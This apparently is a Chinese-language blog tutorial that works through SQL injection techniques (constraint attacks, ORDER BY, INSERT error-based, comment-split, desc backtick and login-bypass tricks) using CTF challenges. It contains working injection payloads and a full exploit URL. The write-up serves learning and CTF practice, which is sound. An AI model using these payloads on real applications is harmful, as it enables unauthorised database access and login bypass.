继续对SQL注入进行一个总结以及学习,本文目录如下:
唔,新姿势不多,望各位师傅莫怪
SQL约束攻击并不是一种很新颖的攻击方式,它的成因是因为在处理SQL中的字符串时,字符串末尾的空格字符都会被删除。换句话说,“lengyi”与“lengyi ”几乎是等效的,这在大多数情况下是正确的,例如WHERE子句中的字符串或INSERT语句中的字符串。例如,以下语句的查询结果,与使用用户名“lengyi”进行查询时的结果是一样的。
select * from student where name = 'caocao '; 等同于 select * from student where name = 'caocao';
本地可以看下效果
我们以一个题目来看一下,题目地址:
这是一道很典型的sql约束攻击的题目
我们可以注册一个如
账号:admin[多个空格]
密码:random_pass
那么我们在登录的时候就相当于执行了
select username from users where username='admin' AND password='random_pass';
虽然我们查询的是我们自己的用户名,但是返回的却是目标的用户名,这样就达到了越权的目的
常见的order by注入一般会使用报错、布尔、时间进行注入
一个典型的报错注入如下
select * from student2 order by updatexml(1,concat('~',(select version())),'xxx');
在说 order by 注入之前我们先来看两条SQL语句
为什么会出现这种结果呢?这是因为SQL中的位运算符的比较,其实是2和3的二进制的比较,即10和11进行|还有&运算,那么就会得到刚才的结果
理解完这个之后我们继续进行order by后的测试
我们还是先来看两个语句
select * from student2 order by id|1; select * from student2 order by id|2;
那么为什么会出现这种效果呢?
我们再来看一下另外的两条语句
select id from student2; select id|2 from student2;
效果如下:
其实它的过程是这样的
1 2 3
001 010 011
010 010 010
011 010 011
3 2 3
即取出的id的值和2进行了一次或运算,这样也就能明白刚才
select * from student2 order by id|2;
这条语句的结果了
那么这也就意味着我们的2这个位置是可以控制的了,也就可以进行注入了
题目地址:https://chall.tasteless.eu/level1/index.php
页面是由一大堆的排序字符组成的,给出了提示:hint: table level1_flag column flag 即表名和列名
因为没有传参的地方,fuzz得到参数为dir(后来才知道原本的url应该为https://chall.tasteless.eu/level1/index.php?dir=)
因为知道是order by注入,所以尝试desc和asc,发现页面果然产生了变化
然后我们又知道order by后面的注入可以使用|进行测试
https://chall.tasteless.eu/level1/index.php?dir=|2
果然页面发生了变化,此时我们的思路就出来了
因为这时候当语句为真时,+1=2则页面返回与之前不同,以此来判断每个值,这里我选择使用正则注入,最后构造的SQL语句为
|(select(select flag from level1_flag)regexp '正则')+1
当然这样的过程是十分无聊而又缓慢的,这个时候我们可以去写一个简单的脚本来实现它,这里本人就不去显露我那可悲的py功底了...
insert 后的
insert into student values(3,'attack'or updatexml('anything',concat('~',(select user())),'ll'),'test');
或者将语句插入到数据库中,则查询时显示
delete或update同理
题目地址:
https://chall.tasteless.eu/level15/index.php
这个一个很经典可以对数据库进行操作的题目
用户名和文本的输入会插入到数据库里面,然后进行一个查询输出,后端的数据库语句可能为
insert into (name,text) values ('','');
那么我们一般的思路就是我们可以闭合前面的引号,然后注释掉后面的内容,可是这里有一个很头疼的问题就是单引号被过滤了,但是我们可以使用\进行把引号去掉,那么这个时候后面的引号就会和前面的引号产生闭合,此时我们再增加一个,加我们的语句,最后我们后端的数据库语句就变成了
insert into (name,text) values ('\'',select version()#)
所以最后构造的payload如下:
\ ,(select flag from level15_flag))#
我们一般的SQL语句一般是where username='???' and password='???' 而sql语句中可以使用//注释掉中间的SQL语句。也就是说,我们可以使用//来解决某些问题,而且/**/也没有被吃掉,这叫做HTTP分割注入。
题目地址:http://ctf5.shiyanbar.com/web/baocuo/index.php
因为此类问题比较简单,直接给出payload
select * from users where username=''or extractvalue /*' and password='*/(1, concat(0x5c,(select database()))) or''
我们先来看下desc的相关介绍
也就是说在表名后面可以跟列名或者是正则表达式,这样我们可带入我们的sql注入语句
题目地址:http://web.jarvisoj.com:32794/
访问以下页面拿到源码
http://web.jarvisoj.com:32794/index.php~
<?php require("config.php"); $table = $_GET['table']?$_GET['table']:"test"; $table = Filter($table); mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker(); $sql = "select 'flag{xxx}' from secret_{$table}"; $ret = sql_query($sql); echo $ret[0]; ?>
语句很简单,这里不在多说
唯一值得注意的就是
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker(); echo $ret[0];
在 mysql是作为保留字符的,连续的两个反引号相当于一个空格,而且desc支持两个参数,那么我们就可以尝试注入了,又因为在第二句为了输出我们想要的,需要查询的第一部分失效
最后构造payload:
test` ` where 1=2 union select 1
那么本来的语句就会变成
desc `secret_test` ` where 1=2 union select 1` select 'flag{xxx}' from secret_test` ` where 1=2 union select 1
最后得到flag
http://web.jarvisoj.com:32794/index.php?table=test`%20`%20where%201=2%20union%20select%20flagUwillNeverKnow%20from%20secret_flag
关于万能密码,网上有很多前辈已经总结过了,这里就不班门弄斧,下面的几个姿势不知道的可以学习下,知道的请略过...
嘿嘿嘿
双引号法:
select * from student2 where name = ''+'' and gender = ''+'';
双等于法:
select * from student2 where name = 'aaa'='' and gender = 'aaa'='';
或者这样的
这里给出两张图,大家就明白了,利用姿势的话各位师傅肯定比我会多...
文采有限,措辞轻浮,内容浅显,操作生疏,如有任何不对的地方,还望各位师傅指出,以免误人子弟,万分感谢